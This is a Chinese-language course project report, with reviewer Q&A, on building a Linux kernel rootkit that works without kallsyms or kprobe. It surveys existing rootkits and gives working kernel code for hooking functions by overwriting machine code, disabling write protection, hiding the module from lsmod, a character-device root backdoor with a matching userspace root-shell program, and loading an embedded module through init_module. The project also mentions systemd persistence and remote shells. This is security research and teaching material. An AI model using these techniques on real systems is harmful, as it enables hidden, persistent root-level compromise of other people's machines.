# Linux 核心專題: rootkit 評估及應用
> 執行人: rota1001
> [GitHub](https://github.com/rota1001/ksymless)
> [專題解說錄影](https://www.youtube.com/watch?v=7_VOHmwz3_w)
> [demo 影片](https://www.youtube.com/watch?v=i1WWM8FRaRg)
### Reviewed by `HeatCrab`
還有用心寫 readme 給想要自己測試的人注意事項,也太貼心了吧!
而在 demo 影片當中,使用的第二個設備是手機,理論上使用電腦也可以對吧?
另外在解說影片中使用的簡報裡,展示程式碼片段(如下圖)

這種以 macOS 為基底的設計是 ppt 內建的嗎?還是是怎麼做出來呈現的呢?
> 答:用電腦也可以(嚴格來說手機也是一台電腦),只要他有辦法有一個可以由被攻擊者連到的 ip 和 port 就可以,我是用手機連到一台伺服器去做操作的,使用手機是因為方便。另外,簡報裡用的程式碼截圖是使用 vscode 的插件 CodeSnap 生成的。
### Reviewed by `horseface1110`
目前專案針對 kernel 不同權限與組態(如無 kallsyms/kprobe、syscall table 唯讀)設計了多種 hook 方法,未來是否有考慮將這些技術模組化,並依據系統特性自動選擇適用策略,以提升工具的泛用性與維護性?
> 答:首先是針對不同組態設計的方法是對於如何找到函式地址的而不是不同的 hook 方法。然後根據系統特性選擇策略這方面,如果你說的是在 runtime 的時候做的話,結論是做不到的。因為各個核心組態的函式地址還有結構體大小不同,所以平常編譯核心模組的時候才需要特定的 header,不太可能編出一個在多個核心版本都能運行的核心模組。另外是如果要在編譯時期做這件事情的話,如果在 x86-64 架構下且 linux 6.11 以後的版本,這件事情已經達成了,因為這個策略是通用的,不存在選擇策略的問題。最後是這樣的策略侷限性其實是在架構上,因為它利用的是 x86-64 的 stack frame 特性,如果要繼續提昇泛用性的話這個方向有進步的空間,不過相同的慨念是適用的。
### Reviewed by `RealBigMickey`
目前專案是用 C 把 shellcode 或 ELF 直接塞進系統裡做控制。請問有沒有考慮過改用 Rust 搭配 eBPF 實作一個可編譯的 JIT loader,透過 BPF map 或 RPC 通訊來做權限滲透或特徵擷取呢?這樣就不需要裝 rootkit 模組,也可能更難被偵測。
> 答:選擇 C 是因為我比較熟悉 C,然後在這個專案裡面我對我來說語言選擇不是那麼重要,只是生成機器碼的方式不一樣而已。另外是為什麼不用 eBPF,這個專案有其中一個目的是減少依賴,所以第一時間沒有想到 eBPF 這個東西,去讀了一些資料後發現如果要用 eBPF 去實作 hook 的話,要做到夠泛用的 hook 必須依賴於 kprobe(詳見 [Linux 核心設計: 透過 eBPF 觀察作業系統行為](https://hackmd.io/@sysprog/linux-ebpf#eBPF-%E5%88%B0%E5%BA%95%E5%92%8C%E8%A7%80%E5%AF%9F%E4%BD%9C%E6%A5%AD%E7%B3%BB%E7%B5%B1%E5%85%A7%E9%83%A8%E6%9C%89%E4%BD%95%E9%97%9C%E8%81%AF%EF%BC%9F))。然後,如果說方向是利用 eBPF 的機制來造成在核心中的一些程式碼的執行,那我覺得這有研究價值,只是不在這個專題的範疇(可能更偏向沙盒逃脫)。最後是裝核心模組會讓它更容易被偵測這件事,要看是怎麼監測。如果說是在它被掛載之後做監測的話,那麼只能透過觀察這個核心模組造成的影響去監測,因為我有做核心模組的隱藏,用原本核心裡面拿來找核心模組的方式是找不到的。如果是在掛載核心模組的過程中去監測,譬如說防毒軟體是一個核心模組,然後它去對 `init_module` 和 `finit_module` 去做控制,列一個白名單說只有特定的核心模組可以掛載,那麼是會被防住的,不然就是要針對某個防毒軟體去對它進行漏洞分析。不過就算是利用其他的機制,我想只要知道他是用什麼方式載入的,那麼都可以透過核心模組做到防護。
## 任務簡述
本專題提出一套不依賴 kallsyms 與 kprobe 的 Linux 核心 rootkit 實作手法,達成對多種核心組態的潛伏與操控。透過機器碼直接修改,本 rootkit 可透明地控制 sys_getdents64, procfs 以及 seq_operations 等關鍵介面,達成檔案與行程的隱匿。再者,藉由側錄 bsearch 與 x64_sys_call 函式並進行堆疊追蹤分析,無需仰賴符號表揭露,即可取得 ksymtab 與系統呼叫表的實體地址。本 rootkit 支援核心層級的行程隱藏、網路連線偽裝、權限提升、remote shell 建立,以及核心模組的永續注入等功能,並實作靜態 ELF 程式碼注入,使 rootkit 可藉由 Live USB 植入並於開機階段自動啟動。
:::warning
溫馨建議:
以防有人不讀 README,如果有人想要玩玩看這個 rootkit 的話,最好留意以下一些事情:
- 最好不要往你工作用的 rootfs 裡面植入
它真的會往你的 `systemd` 裡面放東西,如果你不想讓你每次開機都掛載 rootkit 的話請不要這樣做。如果真的要這樣做請先備份 `systemd`。另外是當你用 `systemd` 開機的時候,`systemd` 是不能用 `sudo cp` 命令去蓋掉的,因為你沒辦法寫它。但是你可以用 `sudo mv` 去蓋掉,因為他的實現是先做 unlink 再重新創建。
- 把 `hide_module` 註解掉
因為這個功能會把你的核心模組藏起來,使用 `rmmod` 也無法移除掉它。如果真的要這樣做,可以閱讀我提供出的 `ioctl` 界面的程式碼,你就會知道要怎麼下命令顯示核心模組。
- 謹慎使用生成 live USB 功能
它會把你選擇的隨身碟格式化,所以想好再操作
:::
## 為什麼不希望依賴 kallsyms 和 kprobe
現有的 kernel rootkit 在查詢沒有釋放出來的函式地址大部份是使用 `kprobe`,而 `kprobe` 的實作依賴於 `kallsyms`。然而,`kallsyms` 是可以在核心的編譯階段關掉的,所以這裡為了相容於各種核心組態就開始嘗試做出不依賴於 kallsyms 和 kprobe 的 kernel rootkit。
## rootkit 案例閱讀
> 參考資料:https://github.com/milabs/awesome-linux-rootkits
### caraxes
> https://github.com/ait-aecid/caraxes
這個專案做的是在核心中去 hook `sys_getdents64` 來隱藏檔案。
#### ftrace hooking
> [using-ftrace-to-hook-to-functions](https://www.kernel.org/doc/html/v6.11/trace/ftrace-uses.html#using-ftrace-to-hook-to-functions)
註冊一個 callback function,在執行某個函式之前去修改暫存器的值,以達到 hook 函式的效果,這個方法不需要去改 syscall table,所以不需要去寫 cr0。
```cpp
hook->ops.func = fh_ftrace_thunk;
hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS
| FTRACE_OPS_FL_RECURSION
| FTRACE_OPS_FL_IPMODIFY;
err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0);
...
err = register_ftrace_function(&hook->ops);
```
首先會用 `ftrace_set_filter_ip` 篩選出哪些函數要被 hook,然後用 `register_ftrace_function` 去註冊。
這個 `ops` 是一個 `ftrace_ops` 結構體,去設定被 hook 的函式被呼叫的時候要呼叫哪個 callback function,然後設定 `flags`,這些 `flags` 有以下意義:
- `FTRACE_OPS_FL_SAVE_REGS`:讓 callback function 可以讀寫暫存器
- `FTRACE_OPS_FL_RECURSION`:讓 callback function 中不會遞迴觸發 callback function
- `FTRACE_OPS_FL_IPMODIFY`:可以修改 ip(就是 program counter)
callback function 是以下這個形狀:
```cpp
void callback_func(unsigned long ip, unsigned long parent_ip,
struct ftrace_ops *op, struct pt_regs *regs);
```
其中 `parent_ip` 是這個函式被從哪裡呼叫的,可以用這個來判斷是不是在這個核心模組被呼叫的:
```cpp
if (!within_module(parent_ip, THIS_MODULE))
regs->ip = (unsigned long)hook->function;
```
#### hook_sys_getdents64
如何去隱藏檔案呢?一個 `linux_dirent` 對應到的是一個檔案,裡面有一個元素是 `d_reclen` 代表這個檔案的長度。在走訪一個目錄下所有檔案的時候會用這個數字來找到下一個檔案,所以只要去修改上一個檔案的 `d_reclen` 就能讓使用者找不到這個檔案(是在回傳給使用者的地方做修改,而不是真的在硬碟上做修改),如果這個檔案在最前面的話,就會把後面所有的檔案做前移。
#### 隱藏核心模組
就是把內嵌在這個核心模組結構體的 `list_head` 從 `module_list` 裡面去除掉。至於 `show` 的話就是把它重新加回來。
```cpp
struct list_head *prev_module = NULL;
void hide_module(void) {
if (!prev_module) {
prev_module = THIS_MODULE->list.prev;
list_del(&THIS_MODULE->list);
}
}
void show_module(void) {
if (prev_module) {
list_add(&THIS_MODULE->list, prev_module);
prev_module = NULL;
}
}
```
這裡用 VFS 界面來做實驗:
```cpp
ssize_t test_read(struct file *file, char __user *buf, size_t, loff_t *off) {
hide_module();
return 0;
}
ssize_t test_write(struct file *file, const char __user *buf, size_t len, loff_t *off) {
show_module();
return len;
}
```
一開始掛載之後,是看得到核心模組的:
```shell
$ lsmod | grep wp
wp 20480 0
```
然後對它進行 `read` 之後,會發現看不到了:
```shell
$ cat /dev/test
$ lsmod | grep wp
$
```
再對它進行 `write` 之後它又出現了:
```shell
$ echo "yee" > /dev/test
$ lsmod | grep wp
wp 20480 0
```
### rooty
> https://github.com/jermeyyy/rooty
#### hijack
這裡拿來 hook 函式的方式不是去改 syscall table,而是直接改機器碼。
```cpp
memcpy(n_code, "\x68\x00\x00\x00\x00\xc3", HIJACK_SIZE);
*(unsigned long *)&n_code[1] = (unsigned long)new;
```
上面的 `n_code` 是會被寫入函數開頭的位置的,去進行反組譯會發現:
```
0: 68 00 00 00 00 push 0x0
5: c3 ret
```
它其實是把函式指標 push 進去堆疊中,再 ret,所以防寫保護關掉之後在架構正確的情況下是一個很通用的 hook。
以下我在 linux 6.11 成功的把它實作出來。rooty 針對的是 x86 32 位元的架構,而我則是在 64 位元上,再加上新版本有其他分頁機制,所以要稍做修改。
##### 關閉防寫保護
要寫 shellcode 的話必須關掉防寫保護,在 linux 5.3 之後需要自己去寫 cr0,然而我跟著 lkmpg 去做之後發現它會出錯,於是找到了這個 [patch](https://lore.kernel.org/all/20211126123446.32324-59-andrew.cooper3@citrix.com/),在清除 cr0 的 WP 之前要先清掉 cr4 的 CET,所以我寫了以下幾個函式:
```cpp
static unsigned long cr4;
static void init_cr4(void)
{
asm volatile("mov %%cr4,%0": "=r"(cr4): : );
}
static void disable_wp(void)
{
unsigned long cr0;
cr0 = read_cr0();
if (cr4 & X86_CR4_CET)
asm volatile("mov %0,%%cr4" : :"r"(cr4 & ~X86_CR4_CET): "memory");
asm volatile("mov %0,%%cr0" : : "r"(cr0 & ~X86_CR0_WP) : "memory");
}
static void enable_wp(void)
{
unsigned long cr0;
cr0 = read_cr0();
asm volatile("mov %0,%%cr0" : : "r"(cr0 | X86_CR0_WP) : "memory");
if (cr4 & X86_CR4_CET)
asm volatile("mov %0,%%cr4" : :"r"(cr4): "memory");
}
```
首先初始化 `cr4`,然後用 `disable_wp` 和 `enable_wp` 把需要關閉防寫保護的操作包住,這樣就能成功關掉防寫保護。
##### 寫 shellcode
首先用 pwntools 去看一下 x86 要怎麼做到一樣的事情:
```python
from pwn import *
code = asm("""
movabs rax, 0x0807060504030201;
push rax;
ret ;
""",arch="amd64")
print(bytes(code))
# b'H\xb8\x01\x02\x03\x04\x05\x06\x07\x08P\xc3'
```
所以我們只要在 `0102030405060708` 的部份填上地址就好,於是修改成這樣的實作:
```cpp
memcpy(n_code, "H\xb8\x00\x00\x00\x00\x00\x00\x00\x00P\xc3", HIJACK_SIZE);
*(unsigned long *)&n_code[2] = (unsigned long)new;
memcpy(o_code, target, HIJACK_SIZE);
printk("org_target: %lx\n", *(unsigned long *)target);
disable_wp();
memcpy(target, n_code, HIJACK_SIZE);
enable_wp();
```
##### demo
我建了兩個函式 `A`、`B`:
```cpp
void A(int x)
{
printk("funcA: x = %x\n", x);
}
void B(int x)
{
printk("funcB: x = %x\n", x);
}
```
並且在 `hello_init` 裡去做 hook,然後呼叫 `A` 函式:
```cpp
static int __init hello_init(void)
{
init_cr4();
hook_start(A, B);
A(13);
return 0;
}
```
掛載之後,成功的呼叫了 `B` 函式:
```
[ 2440.989418] funcB: x = d
```
#### find syscall table from idt table
這個作法我想現在已經不適用了,原因是因為現在的系統呼叫已經不用 `sys_call_table` 了。這個方法首先去找 idt table,其中第 0x80 項放的是 syscall handler 的相關資訊,下面是 32 位元的實作,我在 `asm/desc_defs.h` 中找到一個 `gate_offset` 函數可以把函數地址求出來,32 位元和 64 位元都適用。接下來,它去尋找機器碼中有沒有 `\xff\x14\x85` 這個字串,下面去看一下這個字串的意義。
```cpp
unsigned long *find_sys_call_table ( void )
{
char **p;
unsigned long sct_off = 0;
unsigned char code[255];
asm("sidt %0":"=m" (idtr));
memcpy(&idt, (void *)(idtr.base + 8 * 0x80), sizeof(idt));
sct_off = (idt.off2 << 16) | idt.off1;
memcpy(code, (void *)sct_off, sizeof(code));
p = (char **)memmem(code, sizeof(code), "\xff\x14\x85", 3);
if ( p )
return *(unsigned long **)((char *)p + 3);
else
return NULL;
}
```
我們使用 `pwntools` 去反組譯一下:
```python
from pwn import *
print(disasm(b"\xff\x14\x85\x01\x02\x03\x04", arch="amd64"))
# 0: ff 14 85 01 02 03 04 call QWORD PTR [rax*4+0x4030201]
```
這看起來就是一個陣列的讀取,合理猜測這裡在讀 syscall table,所以可以直接把地址讀出來。
#### 提權後門
使用 `commit_cred` 可以去改變權限,我這裡寫了一個核心模組,透過 character device 去進行提權:
```cpp
ssize_t wp_read(struct file *file, char __user *buf, size_t, loff_t *off) {
struct cred *new_cred = prepare_creds();
if (!new_cred)
return -ENOMEM;
new_cred->uid.val = 0;
new_cred->gid.val = 0;
new_cred->euid.val = 0;
new_cred->egid.val = 0;
new_cred->fsuid.val = 0;
new_cred->fsgid.val = 0;
new_cred->suid.val = 0;
new_cred->sgid.val = 0;
commit_creds(new_cred);
return 0;
}
```
然後在使用者空間執行這樣的程式:
```cpp
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
int main() {
printf("%d\n", getuid());
int fd = open("/dev/wp", O_RDONLY);
int n = read(fd, NULL, NULL);
printf("%d\n", getuid());
execve("/bin/sh", 0, 0);
}
```
然後就拿到 root 了:
```shell
$ ./user
1000
0
# whoami
root
```
#### hijack vfs with path
這個方法是使用 `flip_open` 去取得特定路徑的檔案結構體,並且劫持其中的 VFS 界面,這裡做個簡單的復現。未方便起見,我先把創建 character device 的方式寫成這樣的函式:
```cpp
int create_dev(char *name, int *pmajor, struct class **pcls, struct file_operations *ops)
```
首先我創建了兩個 `read` 函式,並且讓受害者的 `read` 函式一開始是 `victim_read`:
```cpp
ssize_t victim_read(struct file *file, char __user *buf, size_t, loff_t *off) {
printk(KERN_ALERT "victim\n");
return 0;
}
ssize_t evil_read(struct file *file, char __user *buf, size_t, loff_t *off) {
printk(KERN_ALERT "evil\n");
return 0;
}
static struct file_operations victim_ops = {
.read = victim_read
};
```
原本 `rooty` 專案裡面是去劫持 `readdir`,這只有在比較舊的版本裡有(我大致看 4.* 就修掉了),現在 `file_operations` 裡已經沒有這個操作了,於是這裡我去劫持 `read`。
```cpp
unsigned long get_vfs_read(char *path) {
void *ret;
struct file *filep;
if ( IS_ERR(filep = filp_open(path, O_RDONLY, 0)))
return PTR_ERR(filep);
ret = filep->f_op->read;
filp_close(filep, 0);
return ret;
}
```
然後,我創建叫做 `victim` 的 character device,獲取他的 `read` 函式,並且進行 hook:
```cpp!
static int __init hello_init(void)
{
init_cr4();
int ret = create_dev(VICTIM, &victim_major, &victim_cls, &victim_ops);
if (ret < 0)
return ret;
unsigned long victim_read_pos = get_vfs_read("/dev/" VICTIM);
if (victim_read_pos < 0) {
destroy_dev(VICTIM, victim_major, victim_cls);
return victim_read_pos;
}
printk("victim_read_pos: %lx\n", victim_read_pos);
hook_start(victim_read_pos, evil_read);
return 0;
}
```
##### demo
掛載核心模組之後,進行 `cat /dev/victim`,然後用 `dmesg` 看看:
```
[ 326.094116] device /dev/victim is created
[ 326.094126] victim_read_pos: ffffffffc22d8b00
[ 388.945643] evil
```
可以發現 `read` 被成功 hook 了。
#### keylogger
`register_keyboard_notifier` 可以去註冊一個鍵盤事件的 callback function,用他來進行按鍵側錄。
### krf
> https://github.com/trailofbits/krf
這個專案在做 [fault injection](https://en.wikipedia.org/wiki/Fault_injection),也就是通過讓系統呼叫機率性回傳錯誤結果來測試軟體,它用的手法和上面提到的差不多。使用 kprobe 去找到 `kallsyms_lookup_name`,並且用它去找到 `sys_call_table`,hook 的方式是去修改 `sys_call_table`,並且使用 VFS 界面去做控制。我想這個方法同樣現在不適用了(因為是改 `sys_call_table`),不過可以用 ftrace hook 或是修改機器碼做到同樣事情。
### Reptile
> https://github.com/f0rb1dd3n/Reptile
#### hook
他的 hook 方式是寫機器碼,不一樣的地方是它可以跳回去。要完成這個功能就必須要另外分配一段可執行的區域,[這裡](https://github.com/f0rb1dd3n/Reptile/blob/master/kernel/khook/engine.c#L132)使用 `set_memroy_x` 來設定:
```cpp
set_memory_x = khook_lookup_name("set_memory_x");
if (set_memory_x) {
int numpages = round_up(KHOOK_STUB_TBL_SIZE, PAGE_SIZE) / PAGE_SIZE;
set_memory_x((unsigned long)khook_stub_tbl, numpages);
}
```
#### persistence
將啟動腳本放到 `/etc/init.d`,並請使用 `update-rc.d` 去做安裝。
#### 動態加載核心模組
在 [`kmatryoshka.c`](https://github.com/f0rb1dd3n/Reptile/blob/master/kernel/kmatryoshka/kmatryoshka.c#L56) 中,它先把一段數據解密之後,使用 `sys_init_module` 去加載核心模組。
這裡根據 [linux_kernel_hacking](https://github.com/xcellerator/linux_kernel_hacking/blob/15304817e912a526ce57336011a1cc71aea953b2/2_MemoryLoading/2.0_no_arguments/load.c) 去使用 `init_module` 加載核心模組:
使用以下命令可以將核心模組輸出成二進制資料:
```
$ xxd -i wp.ko
unsigned char wp_ko[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x10, 0xff, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00,
...
};
unsigned int wp_ko_len = 396496;
```
於是另外寫一個 `user.c` 來加載核心模組:
```cpp
#include <linux/module.h>
#include <syscall.h>
#include <stdio.h>
const char args[] = "\0";
int main() {
init_module(wp_ko, wp_ko_len, args);
}
```
然後在 `Makefile` 裡面將 `wp.ko` 行程的二進制資料陣列與 `user.c` 的程式碼一起編譯:
```
user: module
xxd -i wp.ko >> tmp.c
cat user.c >> tmp.c
gcc tmp.c -o user
rm tmp.c
```
然後就可以執行 `./user`,並且看到核心模組成功被掛載:
```
$ sudo ./user
$ sudo lsmod | grep wp
wp 16384 0
```
### puszek-rootkit
> https://github.com/Eterna1/puszek-rootkit
它很酷的點是它寫唯讀區域的方式。
#### 修改 pte 讀寫權限
它是得到特定地址的 pte,把它設成可讀寫的,在較新的核心版本也適用:
```cpp
//set a page writeable
int make_rw(unsigned long address)
{
unsigned int level;
pte_t *pte = lookup_address(address, &level);
pte->pte |= _PAGE_RW;
return 0;
}
//set a page read only
int make_ro(unsigned long address)
{
unsigned int level;
pte_t *pte = lookup_address(address, &level);
pte->pte = pte->pte & ~_PAGE_RW;
return 0;
}
```
我用這個去改寫我的 `hook_start` 函式:
```diff
void hook_start(void *target, void *new)
{
...
+ make_rw(target);
- disable_wp();
memcpy(target, n_code, HIJACK_SIZE);
+ make_ro(target);
- enable_wp();
...
}
```
去做上面做的實驗,發現成功的 hook 了:
```
[126084.453713] pte: ffff9e577200f6c0
[126084.453744] funcB: x = c
[126084.453746] hello
```
## 利用 proc_dir_entry 進行資訊洩漏
### 想法
在 [rooty](https://github.com/jermeyyy/rooty) 這個專案可以看到它利用 `filep_open` 去找到特定路徑的 `file_operations` 結構體,以劫持對應目錄的 VFS 界面。這個方法的價值是不管對應的檔案操作函式的 symbol 有沒有被釋放出來,只要我知道那個目錄的路徑我都能獲得它所有的檔案操作函式。然而,專案內使用的 `readdir` 函式在 linux 3.11 之後就已經從 `file_operations` 裡面移除了。而目前我實驗上,如果我建立一個 process file,使用 `filep_open` 打開之後,那個 `file` 結構體裡面的 `file_operations` 結構體和我用來註冊的 `proc_ops` 結構體裡面的函式是不一樣的,所以需要去找到新的方法做這件事情。
以下做的事情是去了解 `proc_dir_entry` 的資料結構,並且利用創建惡意檔案來得到根目錄的地址。另外,在 linux 原始碼中這個結構體有 `__randomize_layout`,所以以下會在不知道結構體內部實作的前提下,利用紅黑樹結點的結構去計算出偏移量。
這樣可以做到什麼事情呢?舉個例子,在 `/proc` 底下有 `kallsyms`,可以讀 symbol,那我利用這個方法獲取了 `proc_dir_entry` 結構體,又計算出 `proc_ops` 的偏移量,所以我能找到 `proc_read` 的函式指標,所以就能獲取 symbol。
### 觀察 procfs 實作
首先去追蹤 `proc_create` 的[實作](https://github.com/torvalds/linux/blob/3ce9925823c7d6bb0e6eb951bf2db0e9e182582d/fs/proc/generic.c#L587),可以發現他是要讓一個結構體 `p` 變成另一個結構體 `parent` 的子節點,我們繼續追蹤 `p` 與 `parent` 的關係,會發現最後進到了 `pde_subdir_insert` 這個函式裡面:
```cpp
static bool pde_subdir_insert(struct proc_dir_entry *dir,
struct proc_dir_entry *de)
{
struct rb_root *root = &dir->subdir;
struct rb_node **new = &root->rb_node, *parent = NULL;
/* Figure out where to put new node */
while (*new) {
struct proc_dir_entry *this = rb_entry(*new,
struct proc_dir_entry,
subdir_node);
int result = proc_match(de->name, this, de->namelen);
parent = *new;
if (result < 0)
new = &(*new)->rb_left;
else if (result > 0)
new = &(*new)->rb_right;
else
return false;
}
/* Add new node and rebalance tree. */
rb_link_node(&de->subdir_node, parent, new);
rb_insert_color(&de->subdir_node, root);
return true;
}
```
會發現,這是一個紅黑樹的插入,使用名字字典序來做大小比較。
這裡統整一下這段程式碼可以看到的事情,`proc_dir_entry` 中的 `subdir` 是一個紅黑樹的根,這棵紅黑樹裡面裝的是所有在這個目錄底下的東西(就這一層,目錄底下的目錄中的東西不算),而紅黑樹的節點是內嵌在 `proc_dir_entry` 中的 `subdir_node`。
那所以我創建一個 process file 就能把所有 process file 的資訊都洩漏出來了嗎?去看了 `proc_dir_entry` 的結構發現他有一個 [`__randomize_layout` 巨集](https://hackmd.io/@sysprog/linux-macro-randstruct),在某些組態上這個結構體會根據編譯階段決定的種子隨機分佈,所以我應該在不知道結構體內部實作的前提下來做到這件事情。
那我想,我有方法能判斷一個指標是否為有效指標,又能對指標進行讀取,那如果創建一些惡意的檔案與目錄,就能利用樹的結構去枚舉偏移量了。
### 偏移量計算
首先是創建 `parent`、`child` 和 `grandchild` 這樣的檔案結構:
```cpp
static struct proc_dir_entry *parent, *child, *grandchild;
parent = proc_mkdir("parent", NULL);
if (!parent)
goto DONE;
child = proc_mkdir("child", parent);
if (!child)
goto REMOVE;
grandchild = proc_create("grandchild", 0644, child, &proc_file_fops);
if (!grandchild)
goto REMOVE;
unsigned long *parent_arr = (unsigned long *)parent;
unsigned long *child_arr = (unsigned long *)child;
unsigned long *grandchild_arr = (unsigned long *)grandchild;
```
另外定義了這樣的獲取成員的巨集:
```cpp
#define get_member_ptr(base, offset, type) ((type *)(((char *)(base)) + (offset)))
```
#### 目標
我要去計算以下這些偏移量或地址:
```cpp
static int name_offset = 0;
static int parent_offset = 0;
static int subdir_offset = 0;
static int subdir_node_offset = 0;
static int proc_ops_offset = 0;
static struct proc_dir_entry *proc_root = 0;
```
#### `name`
這就枚舉看看哪個指標是名字:
```cpp
// find `char *name` offset
for (int i = 0; i < 100; i++) {
char buf[7];
if (copy_from_kernel_nofault(buf, parent_arr[i], 6) < 0)
continue;
buf[6] = 0;
if (!strcmp(buf, "parent")) {
name_offset = i * sizeof(unsigned long);
break;
}
}
printk("name_offset: 0x%x\n", name_offset);
```
#### `parent`
在 child 中枚舉看哪個是 parent:
```cpp
// find `struct proc_dir_entry *parent` offset
for (int i = 0; i < 100; i++)
if (child_arr[i] == (unsigned long)parent) {
parent_offset = i * sizeof(unsigned long);
break;
}
printk("parent_offset: 0x%x\n", parent_offset);
```
#### `subdir`
這是紅黑樹的根。在 `parent` 和 `child` 的樹中,現在都只有一個節點,分別是 `child` 和 `grandchild` 的 `subdir_node`,而他們內嵌在結構體中,所以相對於結構體開頭的偏移量是相同的,可以利用這樣去計算:
```cpp
for (int i = 0; i < 100; i++)
if (parent_arr[i] - (unsigned long)child
== child_arr[i] - (unsigned long)grandchild) {
subdir_offset = i * sizeof(unsigned long);
break;
}
printk("subdir_offset: 0x%x\n", subdir_offset);
```
#### `subdir_node`
直接把前述的那個偏移量拿來用就好:
```cpp
// find `struct rb_node subdir_node`
subdir_node_offset = *get_member_ptr(parent, subdir_offset, unsigned long)
- (unsigned long)child;
printk("subdir_node: 0x%x\n", subdir_node_offset);
```
#### `proc_ops`
在創建 process file 的時候,註冊的那個 `proc_ops` 會被複製一份,所以指標不會一樣,不過裡面的函式指標會是一樣的,只要計算好偏移量去對照函式指標就好了:
```cpp
// find `struct proc_ops *proc_ops`
for (int i = 0; i < 100; i++) {
unsigned long addr;
if (copy_from_kernel_nofault(&addr, grandchild_arr[i] + offsetof(struct proc_ops, proc_read), sizeof(addr)) < 0)
continue;
if (addr == (unsigned long)proc_file_fops.proc_read) {
proc_ops_offset = i * sizeof(unsigned long);
break;
}
}
printk("proc_ops_offset: 0x%lx\n", proc_ops_offset);
```
#### `proc_root`
這是要找到 `/proc` 這個目錄的 `proc_dir_entry`,這樣以後要什麼目錄就能直接用二元搜尋樹的查詢就好。因為之前已經有把結構體中的 `parent` 的偏移量計算出來了,所以就能簡單的計算:
```cpp
// find root
proc_root = *get_member_ptr(parent, parent_offset, struct proc_dir_entry *);
```
### demo
我首先去計算偏移量與獲取根節點,並且呼叫以下的 `test` 函式:
```cpp
void dfs(struct rb_node *node)
{
if (!node)
return;
dfs(node->rb_left);
printk("dfs: %s\n",
*get_member_ptr(node, -subdir_node_offset + name_offset, char *));
dfs(node->rb_right);
}
void test(struct proc_dir_entry *parent)
{
struct rb_node *node
= get_member_ptr(parent, subdir_offset, struct rb_root)->rb_node;
printk("test: %lx\n", node);
dfs(node);
}
```
這個函式能把這個目錄底下所有東西印出來,去掛載之後用 `dmesg` 查看:
```
[97187.098941] name_offset: 0xa0
[97187.098952] parent_offset: 0x78
[97187.098955] subdir_offset: 0x80
[97187.098957] subdir_node: 0x88
[97187.098959] proc_ops_offset: 0x30
[97187.098967] test: ffff9e56c0301108
[97187.098970] dfs: fb
[97187.098973] dfs: fs
[97187.098975] dfs: bus
[97187.098977] dfs: dma
[97187.098979] dfs: irq
[97187.098981] dfs: mtd
[97187.098982] dfs: net
[97187.098984] dfs: sys
[97187.098986] dfs: tty
[97187.098988] dfs: acpi
[97187.098990] dfs: keys
[97187.098992] dfs: kmsg
...
```
可以發現在那裡面的東西都被印出來了,且在中序走訪的過程中是按照字典序排列(長度不一樣時以長度優先),下面可以看到確實有 `kallsyms`:
```
$ sudo dmesg | grep "97187" | grep "kallsyms"
[97187.099088] dfs: kallsyms
```
另外也可以去寫一個二元搜尋的函式就能找到特定目錄或檔案:
```cpp!
struct proc_dir_entry *find_child(struct proc_dir_entry *parent, char *name)
{
struct rb_node *node =
get_member_ptr(parent, subdir_offset, struct rb_root)->rb_node;
while (node) {
int k =
cmp(name, *get_member_ptr(node,-subdir_node_offset + name_offset, char *));
if (k < 0)
node = node->rb_left;
else if (k > 0)
node = node->rb_right;
else
return get_member_ptr(node, -subdir_node_offset, struct proc_dir_entry);
}
return NULL;
}
```
### 使用 inode 進行更一般化的資訊洩漏
上述方法有嚴重的侷限性,因為 procfs 中有些子系統雖然沿用 `proc_dir_entry`,但是仰賴特殊實作,譬如 `/proc/net` 就是一個很好的例子。如果去觀察 `/proc/net` 的 PDE(Process Directory Entry) 的話,會發現他的子目錄是空的。實際上,他的 PDE 是另外在其他地方紀錄的,這部份在[隱藏網路連線](https://hackmd.io/fTzEHMdxQL67SnorpsWU9A#%E9%9A%B1%E8%97%8F%E7%B6%B2%E8%B7%AF%E9%80%A3%E7%B7%9A)會做詳細的探討。
如果去觀察在 [`linux/fs/proc/generic.c`](https://github.com/torvalds/linux/blob/master/fs/proc/generic.c#L325) 中對 `proc_readdir` 的實作,可以看到他是使用 `PDE` 這個函式來從一個 `inode` 找到他的 PDE 的。我們去觀察一下他的實作:
```cpp
static inline struct proc_inode *PROC_I(const struct inode *inode)
{
return container_of(inode, struct proc_inode, vfs_inode);
}
static inline struct proc_dir_entry *PDE(const struct inode *inode)
{
return PROC_I(inode)->pde;
}
```
可以看到這個 `inode` 結構體是被內嵌在 `proc_inode` 結構體裡面的 `vfs_inode` 成員,而這個 `proc_inode` 結構體中有一個 `proc_dir_entry` 結構體的指標 `pde`。

於是,現在我們如果有 `inode` 的指標,就可以得到 PDE 了。這時,我發現之前我們丟掉的東西有用了,用 `filp_open` 打開的檔案有 `inode`,這個 `inode` 會不會是一樣的東西呢?答案是會的,於是,我們可以用 `filp_open` 去獲得 PDE 了。
> commit [1e560ab](https://github.com/rota1001/ksymless/commit/1e560ab81bbb95b0c3595ea42d7436b6d484514d)
## 使用拿來開機的 bzImage 建立精簡實驗環境
這可以不用自行編譯核心的方式就獲得一個實驗環境(當然我還是有用 buildroot 去編譯其他版本的核心)。
可以這樣獲得自己拿來開機的 bzImage:
```shell
$ cp /boot/vmlinuz-`uname -r` ./bzImage
```
還可以這樣看看現在在運行的作業系統是怎麼開機的:
```shell
$ cat /proc/cmdline
# BOOT_IMAGE=/@/boot/vmlinuz-6.11.0-25-generic ...
```
接下來建立一個 rootfs,下面 [建立精簡 Live USB](https://hackmd.io/fTzEHMdxQL67SnorpsWU9A?both#%E5%89%B5%E5%BB%BA%E7%B2%BE%E7%B0%A1-Live-USB) 的部份會提到如何建立它,這裡敘述怎麼把它打包成一個 `.ext4` 的映像檔(以 ext4 檔案系統為例)。
首先建立空白檔案:
```shell
$ dd if=/dev/zero of=rootfs.ext4 bs=1M count=300
```
這個意思是從 `/dev/zero` 輸入,輸出到 `rootfs.ext4`,一個單位是 1MB,輸出 300 個單位。於是現在有一個空白檔案,接下來用 `mkfs.ext4` 把它格式化成 `ext4` 的格式:
